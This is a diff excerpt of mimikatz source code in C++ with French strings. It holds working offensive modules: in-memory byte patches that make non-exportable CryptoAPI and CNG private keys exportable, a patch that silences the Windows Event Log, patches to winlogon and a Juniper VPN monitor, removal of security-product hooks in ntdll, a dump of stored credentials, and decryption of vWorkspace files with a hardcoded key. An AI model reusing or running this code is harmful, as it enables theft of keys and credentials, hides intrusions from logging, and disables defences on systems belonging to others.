patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT);
|
||||
offsetPatch4001 = OFFS_W6AL_CPExportKey_EXPORT;
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
|
||||
{
|
||||
pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000);
|
||||
offsetPatch4000 = OFFS_WIN6_CPExportKey_4000_EXPORT;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern4000 = PTRN_WIN8_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN8_CPExportKey_4000);
|
||||
offsetPatch4000 = OFFS_W6AL_CPExportKey_EXPORT;
|
||||
}
|
||||
#elif defined _M_IX86
|
||||
patch4001 = patch4000 = PATC_W6AL_CPExportKey_EXPORT; taillePatch4001 = taillePatch4000 = sizeof(PATC_W6AL_CPExportKey_EXPORT);
|
||||
if(mod_system::GLOB_Version.dwMinorVersion < 1)
|
||||
{
|
||||
pattern4001 = PTRN_WI60_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WI60_CPExportKey_4001);
|
||||
pattern4000 = PTRN_WI60_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WI60_CPExportKey_4000);
|
||||
offsetPatch4001 = offsetPatch4000 = OFFS_WI60_CPExportKey_EXPORT;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern4001 = PTRN_WIN6_CPExportKey_4001; taillePattern4001 = sizeof(PTRN_WIN6_CPExportKey_4001);
|
||||
pattern4000 = PTRN_WIN6_CPExportKey_4000; taillePattern4000 = sizeof(PTRN_WIN6_CPExportKey_4000);
|
||||
offsetPatch4001 = offsetPatch4000 = OFFS_WIN6_CPExportKey_EXPORT;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
if(HMODULE hRSA = LoadLibrary(LIBNAME_WALL_RSA))
|
||||
{
|
||||
if( mod_memory::genericPatternSearch(&ptr4001, LIBNAME_WALL_RSA, pattern4001, taillePattern4001, offsetPatch4001, FUNCNAM_WALL_EXPORT, true, true) &&
|
||||
mod_memory::genericPatternSearch(&ptr4000, LIBNAME_WALL_RSA, pattern4000, taillePattern4000, offsetPatch4000, FUNCNAM_WALL_EXPORT, true, true))
|
||||
{
|
||||
wcout << L"Patterns CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE et CRYPT_ARCHIVABLE trouvés !" << endl <<
|
||||
L"Patch CRYPT_EXPORTABLE | CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4001, patch4001, taillePatch4001) ? L"OK" : L"KO") << endl <<
|
||||
L"Patch CRYPT_ARCHIVABLE : " << (mod_memory::writeMemory(ptr4000, patch4000, taillePatch4000) ? L"OK" : L"KO") << endl;
|
||||
}
|
||||
FreeLibrary(hRSA);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_crypto::patchcng(vector<wstring> * arguments)
|
||||
{
|
||||
wchar_t LIBNAME_WNO8_NCrypt[] = L"ncrypt.dll";
|
||||
wchar_t LIBNAME_WIN8_NCrypt[] = L"ncryptprov.dll";
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x75};
|
||||
BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x43, 0x24, 0x02, 0x75};
|
||||
BYTE PTRN_WI60_SPCryptExportKey[] = {0xf6, 0x43, 0x28, 0x02, 0x0f, 0x85};
|
||||
|
||||
BYTE PATC_WI60_SPCryptExportKey_EXPORT[] = {0x90, 0xe9};
|
||||
BYTE PATC_WI60_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
|
||||
BYTE PATC_WALL_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WNO8_SPCryptExportKey[] = {0xf6, 0x41, 0x20, 0x02, 0x75};
|
||||
BYTE PTRN_WIN8_SPCryptExportKey[] = {0xf6, 0x47, 0x1c, 0x02, 0x75};
|
||||
|
||||
BYTE PATC_WNO8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
|
||||
BYTE PATC_WIN8_SPCryptExportKey_NOEXPORT[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb};
|
||||
#endif
|
||||
BYTE PATC_WALL_SPCryptExportKey_EXPORT[] = {0xeb};
|
||||
LONG OFFS_WALL_SPCryptExportKey_EXPORT = 4;
|
||||
|
||||
if(mod_cryptong::isNcrypt)
|
||||
{
|
||||
if(mod_cryptong::justInitCNG())
|
||||
{
|
||||
wchar_t * libName; PBYTE pattern = NULL; ULONG taillePattern = 0; PBYTE patch = NULL; ULONG taillePatch = 0; LONG offsetPatch = 0;
|
||||
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
|
||||
{
|
||||
#ifdef _M_X64
|
||||
if(mod_system::GLOB_Version.dwMinorVersion < 1)
|
||||
{
|
||||
pattern = PTRN_WI60_SPCryptExportKey;
|
||||
taillePattern = sizeof(PTRN_WI60_SPCryptExportKey);
|
||||
}
|
||||
else
|
||||
{
|
||||
#endif
|
||||
pattern = PTRN_WNO8_SPCryptExportKey;
|
||||
taillePattern = sizeof(PTRN_WNO8_SPCryptExportKey);
|
||||
#ifdef _M_X64
|
||||
}
|
||||
#endif
|
||||
libName = LIBNAME_WNO8_NCrypt;
|
||||
}
|
||||
else
|
||||
{
|
||||
pattern = PTRN_WIN8_SPCryptExportKey;
|
||||
taillePattern = sizeof(PTRN_WIN8_SPCryptExportKey);
|
||||
libName = LIBNAME_WIN8_NCrypt;
|
||||
}
|
||||
|
||||
if(arguments->empty())
|
||||
{
|
||||
#ifdef _M_X64
|
||||
if(mod_system::GLOB_Version.dwMinorVersion < 1)
|
||||
{
|
||||
patch = PATC_WI60_SPCryptExportKey_EXPORT;
|
||||
taillePatch = sizeof(PATC_WI60_SPCryptExportKey_EXPORT);
|
||||
}
|
||||
else
|
||||
{
|
||||
#endif
|
||||
patch = PATC_WALL_SPCryptExportKey_EXPORT;
|
||||
taillePatch = sizeof(PATC_WALL_SPCryptExportKey_EXPORT);
|
||||
#ifdef _M_X64
|
||||
}
|
||||
#endif
|
||||
}
|
||||
else
|
||||
{
|
||||
#ifdef _M_X64
|
||||
if(mod_system::GLOB_Version.dwMinorVersion < 1)
|
||||
{
|
||||
patch = PATC_WI60_SPCryptExportKey_NOEXPORT;
|
||||
taillePatch = sizeof(PATC_WI60_SPCryptExportKey_NOEXPORT);
|
||||
}
|
||||
else
|
||||
{
|
||||
patch = PATC_WALL_SPCryptExportKey_NOEXPORT;
|
||||
taillePatch = sizeof(PATC_WALL_SPCryptExportKey_NOEXPORT);
|
||||
}
|
||||
#elif defined _M_IX86
|
||||
if(mod_system::GLOB_Version.dwBuildNumber < 8000)
|
||||
{
|
||||
patch = PATC_WNO8_SPCryptExportKey_NOEXPORT;
|
||||
taillePatch = sizeof(PATC_WNO8_SPCryptExportKey_NOEXPORT);
|
||||
}
|
||||
else
|
||||
{
|
||||
patch = PATC_WIN8_SPCryptExportKey_NOEXPORT;
|
||||
taillePatch = sizeof(PATC_WIN8_SPCryptExportKey_NOEXPORT);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
offsetPatch = OFFS_WALL_SPCryptExportKey_EXPORT;
|
||||
|
||||
mod_patch::patchModuleOfService(L"KeyIso", libName, pattern, taillePattern, patch, taillePatch, offsetPatch);
|
||||
}
|
||||
else wcout << L"Impossible d\'initialiser la CNG : " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else wcout << L"Pas de CNG ?" << endl;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void mod_mimikatz_crypto::sanitizeFileName(wstring * fileName)
|
||||
{
|
||||
wchar_t monTab[] = {L'\\', L'/', L':', L'*', L'?', L'\"', L'<', L'>', L'|'};
|
||||
for(wstring::iterator monIterateur = fileName->begin(); monIterateur != fileName->end(); monIterateur++)
|
||||
{
|
||||
for(ULONG i = 0; i < sizeof(monTab) / sizeof(wchar_t); i++)
|
||||
{
|
||||
if(*monIterateur == monTab[i])
|
||||
{
|
||||
*monIterateur = L'~';
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -0,0 +1,35 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_cryptoapi.h"
|
||||
#include "mod_cryptong.h"
|
||||
#include "mod_crypto.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_patch.h"
|
||||
#include <iostream>
|
||||
#include <sstream>
|
||||
|
||||
class mod_mimikatz_crypto
|
||||
{
|
||||
private:
|
||||
static void sanitizeFileName(wstring * fileName);
|
||||
static void listAndOrExportCertificates(vector<wstring> * arguments, bool exportCert = false);
|
||||
static void listAndOrExportKeys(vector<wstring> * arguments, bool exportKeys = false);
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool listProviders(vector<wstring> * arguments);
|
||||
static bool listStores(vector<wstring> * arguments);
|
||||
static bool listKeys(vector<wstring> * arguments);
|
||||
static bool listCertificates(vector<wstring> * arguments);
|
||||
|
||||
static bool exportCertificates(vector<wstring> * arguments);
|
||||
static bool exportKeys(vector<wstring> * arguments);
|
||||
|
||||
static bool patchcapi(vector<wstring> * arguments);
|
||||
static bool patchcng(vector<wstring> * arguments);
|
||||
};
|
@ -0,0 +1,306 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_divers.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_divers::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(noroutemon, L"noroutemon", L"[experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(eventdrop, L"eventdrop", L"[super experimental] Patch l\'observateur d\'événements pour ne plus rien enregistrer"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cancelator, L"cancelator", L"Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(secrets, L"secrets", L"Affiche les secrets utilisateur"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nodetour, L":nodetour", L"Anti-détours SR"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pitme, L":pitme", L"Déchiffre les fichiers PIT (Quest vWorkspace Client)"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_divers::nodetour(vector<wstring> * arguments)
|
||||
{
|
||||
vector<mod_patch::OS> mesOS;
|
||||
mesOS.push_back(mod_patch::WINDOWS_2003_____x64);
|
||||
mesOS.push_back(mod_patch::WINDOWS_VISTA____x64);
|
||||
mesOS.push_back(mod_patch::WINDOWS_2008_____x64);
|
||||
mesOS.push_back(mod_patch::WINDOWS_SEVEN____x64);
|
||||
mesOS.push_back(mod_patch::WINDOWS_2008r2___x64);
|
||||
|
||||
if(mod_patch::checkVersion(&mesOS))
|
||||
{
|
||||
BYTE monSysEnterRetn[] = {0x0f, 0x05, 0xc3};
|
||||
BYTE monDetouredStub[] = {0x90, 0x90, 0xe9};
|
||||
|
||||
PBYTE monNTDLLptr = reinterpret_cast<PBYTE>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtOpenProcess"));
|
||||
if(memcmp(monNTDLLptr + 8, monDetouredStub, sizeof(monDetouredStub)) == 0)
|
||||
{
|
||||
wcout << L"Détour trouvé et ";
|
||||
if(mod_memory::writeMemory(monNTDLLptr + 8 + sizeof(monDetouredStub) + sizeof(LONG) + *reinterpret_cast<PLONG>(monNTDLLptr + 8 + sizeof(monDetouredStub)), monSysEnterRetn, sizeof(monSysEnterRetn)))
|
||||
wcout << L"patché :)";
|
||||
else
|
||||
wcout << L"NON patché :(";
|
||||
wcout << endl;
|
||||
}
|
||||
else
|
||||
wcout << L"Détour non trouvé" << endl;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_divers::cancelator(vector<wstring> * arguments)
|
||||
{
|
||||
vector<mod_patch::OS> mesOS;
|
||||
mesOS.push_back(mod_patch::WINDOWS_XP_PRO___x86);
|
||||
mesOS.push_back(mod_patch::WINDOWS_2003_____x86);
|
||||
|
||||
if(mod_patch::checkVersion(&mesOS))
|
||||
{
|
||||
BYTE patternCMPJMP[] = {0xff, 0xff, 0xff, 0x83, 0xff, 0x02, 0x0f, 0x84};
|
||||
BYTE patternNOP[] = {0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90};
|
||||
long offsetCibleNOP = 3;
|
||||
|
||||
vector<mod_process::KIWI_PROCESSENTRY32> * mesProcesses = new vector<mod_process::KIWI_PROCESSENTRY32>();
|
||||
wstring processName = L"winlogon.exe";
|
||||
|
||||
if(mod_process::getList(mesProcesses, &processName))
|
||||
{
|
||||
for(vector<mod_process::KIWI_PROCESSENTRY32>::iterator leProcess = mesProcesses->begin(); leProcess != mesProcesses->end(); leProcess++)
|
||||
{
|
||||
mod_patch::patchModuleOfPID(leProcess->th32ProcessID, L"", patternCMPJMP, sizeof(patternCMPJMP), patternNOP, sizeof(patternNOP), offsetCibleNOP);
|
||||
}
|
||||
}
|
||||
|
||||
delete mesProcesses;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_divers::noroutemon(vector<wstring> * arguments)
|
||||
{
|
||||
//BYTE patternTestRouteMon[] = {0x83, 0xec, 0x1c, 0x55, 0x8b, 0xe9}; // 7.0 // 83 ec 1c 55 8b e9
|
||||
BYTE patternTestRouteMon[] = {0x83, 0xec, 0x14, 0x53, 0x8b, 0xd9}; // 7.1 // 83 ec 14 53 8b d9
|
||||
BYTE patternNoTestRouteMon[] = {0xb0, 0x01, 0xc2, 0x04, 0x00};
|
||||
|
||||
mod_patch::patchModuleOfService(L"dsNcService", L"", patternTestRouteMon, sizeof(patternTestRouteMon), patternNoTestRouteMon, sizeof(patternNoTestRouteMon));
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_divers::eventdrop(vector<wstring> * arguments)
|
||||
{
|
||||
wchar_t LIBNAME_WNT5_EVTLOG[] = L"eventlog.dll";
|
||||
wchar_t LIBNAME_WNT6_EVTLOG[] = L"wevtsvc.dll";
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WNT5_PerformWriteRequest[] = {0x49, 0x89, 0x5b, 0x10, 0x49, 0x89, 0x73, 0x18};
|
||||
LONG OFFS_WNT5_PerformWriteRequest = -10;
|
||||
BYTE PATC_WNT5_PerformWriteRequest[] = {0x45, 0x33, 0xed, 0xc3};
|
||||
|
||||
BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0x48, 0x8b, 0xda, 0xe8};
|
||||
LONG OFFS_WN60_Channel__ActualProcessEvent = 0;
|
||||
BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0xff, 0xf7, 0x48, 0x83, 0xec, 0x50, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xfe, 0xff, 0xff, 0xff, 0x48, 0x89, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf9, 0x48, 0x8b, 0xca, 0xe8};
|
||||
LONG OFFS_WN62_Channel__ActualProcessEvent = 0;
|
||||
|
||||
BYTE PATC_WNT6_Channel__ActualProcessEvent[] = {0xc3};
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WNT5_PerformWriteRequest[] = {0x89, 0x45, 0xe4, 0x8b, 0x7d, 0x08, 0x89, 0x7d};
|
||||
LONG OFFS_WNT5_PerformWriteRequest = -20;
|
||||
BYTE PATC_WNT5_PerformWriteRequest[] = {0x33, 0xc0, 0xc2, 0x04, 0x00};
|
||||
|
||||
BYTE PTRN_WN60_Channel__ActualProcessEvent[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x56, 0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8};
|
||||
LONG OFFS_WN60_Channel__ActualProcessEvent = 0;
|
||||
BYTE PATC_WN61_Channel__ActualProcessEvent[] = {0x8b, 0xf1, 0x8b, 0x4d, 0x08, 0xe8};
|
||||
LONG OFFS_WN61_Channel__ActualProcessEvent = -(5 + 5 + 2);
|
||||
BYTE PATC_WN62_Channel__ActualProcessEvent[] = {0x33, 0xc4, 0x50, 0x8d, 0x44, 0x24, 0x28, 0x64, 0xa3, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x75, 0x0c};
|
||||
LONG OFFS_WN62_Channel__ActualProcessEvent = -(5 + 1 + 1 + 1 + 3 + 1 + 6 + 5 + 2 + 3 + 2 + 1 + 2);
|
||||
|
||||
BYTE PATC_WNO8_Channel__ActualProcessEvent[] = {0xc2, 0x04, 0x00};
|
||||
BYTE PATC_WIN8_Channel__ActualProcessEvent[] = {0xc2, 0x08, 0x00};
|
||||
#endif
|
||||
|
||||
BYTE * PTRN_Process = NULL; DWORD SIZE_PTRN_Process = 0;
|
||||
BYTE * PATC_Process = NULL; DWORD SIZE_PATC_Process = 0;
|
||||
LONG OFFS_PATC_Process = 0;
|
||||
wstring libEvent;
|
||||
|
||||
if(mod_system::GLOB_Version.dwMajorVersion < 6)
|
||||
{
|
||||
libEvent.assign(LIBNAME_WNT5_EVTLOG);
|
||||
PTRN_Process = PTRN_WNT5_PerformWriteRequest; SIZE_PTRN_Process = sizeof(PTRN_WNT5_PerformWriteRequest);
|
||||
PATC_Process = PATC_WNT5_PerformWriteRequest; SIZE_PATC_Process = sizeof(PATC_WNT5_PerformWriteRequest);
|
||||
OFFS_PATC_Process = OFFS_WNT5_PerformWriteRequest;
|
||||
}
|
||||
else
|
||||
{
|
||||
libEvent.assign(LIBNAME_WNT6_EVTLOG);
|
||||
if(mod_system::GLOB_Version.dwMinorVersion < 1)
|
||||
{
|
||||
PTRN_Process = PTRN_WN60_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PTRN_WN60_Channel__ActualProcessEvent);
|
||||
OFFS_PATC_Process = OFFS_WN60_Channel__ActualProcessEvent;
|
||||
#ifdef _M_X64
|
||||
}
|
||||
#elif defined _M_IX86
|
||||
PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent);
|
||||
}
|
||||
else if(mod_system::GLOB_Version.dwMinorVersion < 2)
|
||||
{
|
||||
PTRN_Process = PATC_WN61_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN61_Channel__ActualProcessEvent);
|
||||
OFFS_PATC_Process = OFFS_WN61_Channel__ActualProcessEvent;
|
||||
PATC_Process = PATC_WNO8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNO8_Channel__ActualProcessEvent);
|
||||
}
|
||||
#endif
|
||||
else
|
||||
{
|
||||
PTRN_Process = PATC_WN62_Channel__ActualProcessEvent; SIZE_PTRN_Process = sizeof(PATC_WN62_Channel__ActualProcessEvent);
|
||||
OFFS_PATC_Process = OFFS_WN62_Channel__ActualProcessEvent;
|
||||
#ifdef _M_IX86
|
||||
PATC_Process = PATC_WIN8_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WIN8_Channel__ActualProcessEvent);
|
||||
#endif
|
||||
}
|
||||
|
||||
#ifdef _M_X64
|
||||
PATC_Process = PATC_WNT6_Channel__ActualProcessEvent; SIZE_PATC_Process = sizeof(PATC_WNT6_Channel__ActualProcessEvent);
|
||||
#endif
|
||||
}
|
||||
|
||||
mod_patch::patchModuleOfService(L"EventLog", libEvent, PTRN_Process, SIZE_PTRN_Process, PATC_Process, SIZE_PATC_Process, OFFS_PATC_Process);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_divers::secrets(vector<wstring> * arguments)
|
||||
{
|
||||
DWORD credNb = 0;
|
||||
PCREDENTIAL * pCredential = NULL;
|
||||
DWORD flags = (arguments->empty() ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS);
|
||||
|
||||
if(CredEnumerate(NULL, flags, &credNb, &pCredential))
|
||||
{
|
||||
wcout << L"Nombre de secrets : " << credNb << endl;
|
||||
|
||||
for(DWORD i = 0; i < credNb; i++)
|
||||
{
|
||||
wstring type;
|
||||
bool isCertificate = false;
|
||||
switch(pCredential[i]->Type)
|
||||
{
|
||||
case CRED_TYPE_GENERIC:
|
||||
type.assign(L"GENERIC");
|
||||
break;
|
||||
case CRED_TYPE_DOMAIN_PASSWORD:
|
||||
type.assign(L"DOMAIN_PASSWORD");
|
||||
break;
|
||||
case CRED_TYPE_DOMAIN_CERTIFICATE:
|
||||
type.assign(L"DOMAIN_CERTIFICATE");
|
||||
isCertificate = true;
|
||||
break;
|
||||
case CRED_TYPE_DOMAIN_VISIBLE_PASSWORD:
|
||||
type.assign(L"DOMAIN_VISIBLE_PASSWORD");
|
||||
break;
|
||||
case CRED_TYPE_GENERIC_CERTIFICATE:
|
||||
type.assign(L"GENERIC_CERTIFICAT");
|
||||
isCertificate = true;
|
||||
break;
|
||||
case CRED_TYPE_DOMAIN_EXTENDED:
|
||||
type.assign(L"DOMAIN_EXTENDED");
|
||||
break;
|
||||
default:
|
||||
type.assign(L"?");
|
||||
}
|
||||
|
||||
wcout <<
|
||||
L"TargetName : " << pCredential[i]->TargetName << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>") << endl <<
|
||||
L"Type : " << type << L" (" << pCredential[i]->Type << L')' << endl <<
|
||||
L"Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>") << endl <<
|
||||
L"UserName : " << pCredential[i]->UserName << endl <<
|
||||
L"Credential : " << mod_text::stringOrHex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize) << endl <<
|
||||
endl;
|
||||
}
|
||||
CredFree(pCredential);
|
||||
}
|
||||
else wcout << L"CredEnumerate : " << mod_system::getWinError() << endl;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_divers::pitme(vector<wstring> * arguments)
|
||||
{
|
||||
static const BYTE HARDCODED_KEY[] = {
|
||||
0x80, 0x5b, 0xe8, 0x18, 0x6f, 0x64, 0x89, 0x3a, 0x34, 0xce, 0x59, 0xdf, 0x4d, 0xb4, 0x5a, 0x0f,
|
||||
0x69, 0x94, 0x58, 0x70, 0x71, 0x4b, 0x17, 0xcf, 0xc3, 0x40, 0xaa, 0xfc, 0xc5, 0xe0, 0x21, 0xdb,
|
||||
0x9a, 0x49, 0x68, 0xb8, 0x2f, 0x4a, 0x6c, 0xdc, 0x7a, 0x8b, 0x7f, 0x5c, 0x03, 0x08, 0xfe, 0x39,
|
||||
0xa3, 0xc6, 0x31, 0xa6, 0x8c, 0xbd, 0x72, 0xa4, 0x8a, 0x1b, 0x92, 0xd5, 0x87, 0xad, 0x78, 0x8f,
|
||||
0x55, 0x96, 0x0b, 0x30, 0xa8, 0x43, 0x53, 0xb0, 0x62, 0xa0, 0xda, 0x7c, 0x13, 0x8d, 0x5d, 0x81,
|
||||
0xc0, 0x8e, 0x90, 0x88, 0xe4, 0xb7, 0x76, 0xc2, 0xb5, 0x04, 0x93, 0xa5, 0xa9, 0x9e, 0xab, 0xf5,
|
||||
0x37, 0xac, 0x99, 0x26, 0xe2, 0x38, 0x85, 0xe1, 0x74, 0x77, 0x32, 0xe5, 0x91, 0x23, 0xb1, 0x10,
|
||||
0x4c, 0x47, 0x3f, 0xbe, 0x82, 0x22, 0x6a, 0x51, 0xd0, 0x63, 0x75, 0x11, 0x33, 0x9b, 0xfb, 0x3b,
|
||||
0xca, 0xed, 0xdd, 0x44, 0xe6, 0x12, 0x4e, 0x97, 0x3c, 0x79, 0x4f, 0x41, 0x66, 0xba, 0x50, 0x0e,
|
||||
0xc9, 0x6b, 0x05, 0xee, 0x6e, 0xe7, 0x95, 0x7b, 0x60, 0x9d, 0xff, 0xc4, 0x29, 0x86, 0xb9, 0x7d,
|
||||
0x98, 0xc8, 0x9c, 0x35, 0xbb, 0xbc, 0xef, 0xfa, 0x3d, 0x06, 0xf9, 0x36, 0xbf, 0x3e, 0x7e, 0xa2,
|
||||
0xc7, 0x56, 0xae, 0xcb, 0xaf, 0xe9, 0x42, 0x61, 0xf0, 0x1d, 0xfd, 0x65, 0x9f, 0x52, 0x27, 0xea,
|
||||
0x24, 0xa1, 0xa7, 0xb2, 0x6d, 0x14, 0xb3, 0x45, 0xf8, 0xb6, 0xf7, 0x73, 0xc1, 0x83, 0x84, 0xf4,
|
||||
0xcc, 0xcd, 0xf3, 0xe3, 0x54, 0x15, 0xd1, 0x46, 0x07, 0x57, 0x2c, 0xd2, 0xd3, 0xd6, 0xd4, 0xd7,
|
||||
0xf6, 0xeb, 0xd8, 0x1c, 0x00, 0x09, 0xec, 0x67, 0x0a, 0xd9, 0x16, 0xde, 0xf1, 0xf2, 0x01, 0x2d,
|
||||
0x5e, 0x48, 0x02, 0x0c, 0x5f, 0x0d, 0x19, 0x1a, 0x28, 0x1e, 0x1f, 0x20, 0x25, 0x2a, 0x2b, 0x2e
|
||||
};
|
||||
static const DWORD SUBKEY_SIZE = 16;
|
||||
static const BYTE HEADER_PIT[] = {'P', 'I', 'T'};
|
||||
|
||||
FILE * monFichierSource, * monFichierDestination;
|
||||
BYTE * monBuffer, * monBufferData;
|
||||
ULONG tailleFichierSource, tailleData;
|
||||
|
||||
if(arguments->size() < 1)
|
||||
{
|
||||
wcout << L"divers:::pitme file.pit [file.rdp]" << endl;
|
||||
}
|
||||
else
|
||||
{
|
||||
wcout << L" * Ouverture en lecture du fichier \'" << arguments->front() << L"\' : ";
|
||||
if(monFichierSource = _wfopen(arguments->front().c_str(), L"rb"))
|
||||
{
|
||||
fseek(monFichierSource, 0, SEEK_END);
|
||||
tailleFichierSource = ftell(monFichierSource);
|
||||
monBuffer = new BYTE[tailleFichierSource];
|
||||
fseek(monFichierSource, 0, SEEK_SET);
|
||||
fread(monBuffer, tailleFichierSource, 1, monFichierSource);
|
||||
fclose(monFichierSource);
|
||||
|
||||
wcout << L"OK" << endl << L" * Déchiffrement n°1 : ";
|
||||
if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource, HARDCODED_KEY, sizeof(HARDCODED_KEY), CALG_RC4))
|
||||
{
|
||||
wcout << L"OK" << endl << L" * Déchiffrement n°2 : ";
|
||||
if(mod_crypto::genericDecrypt(monBuffer, tailleFichierSource - SUBKEY_SIZE, monBuffer + tailleFichierSource - SUBKEY_SIZE, SUBKEY_SIZE, CALG_RC4))
|
||||
{
|
||||
wcout << L"OK" << endl << L" * En-tête : ";
|
||||
if(memcmp(monBuffer, HEADER_PIT, sizeof(HEADER_PIT)) == 0)
|
||||
{
|
||||
wcout << L"OK" << endl;
|
||||
monBufferData = monBuffer + sizeof(HEADER_PIT);
|
||||
tailleData = tailleFichierSource - sizeof(HEADER_PIT) - SUBKEY_SIZE;
|
||||
|
||||
if(arguments->size() > 1)
|
||||
{
|
||||
wcout << L" * Ouverture en écriture du fichier \'" << arguments->back() << L"\' : ";
|
||||
if(monFichierDestination = _wfopen(arguments->back().c_str(), L"wb"))
|
||||
{
|
||||
wcout << L"OK" << endl;
|
||||
fwrite(monBufferData, tailleData, 1, monFichierDestination);
|
||||
fclose(monFichierDestination);
|
||||
}
|
||||
else wcout << L"KO" << endl;
|
||||
}
|
||||
else wcout << L" * Données : " << endl << endl << wstring(reinterpret_cast<char *>(monBufferData), reinterpret_cast<char *>(monBufferData + tailleData)) << endl;
|
||||
}
|
||||
else wcout << L"KO - différent de \'PIT\' ; " << mod_text::stringOfHex(HEADER_PIT, sizeof(HEADER_PIT)) << L" != " << mod_text::stringOfHex(monBuffer, sizeof(HEADER_PIT)) << endl;
|
||||
}
|
||||
else wcout << L"KO";
|
||||
}
|
||||
else wcout << L"KO";
|
||||
delete [] monBuffer;
|
||||
}
|
||||
else wcout << L"KO" << endl;
|
||||
}
|
||||
return true;
|
||||
}
|
@ -0,0 +1,29 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_patch.h"
|
||||
#include "mod_secacl.h"
|
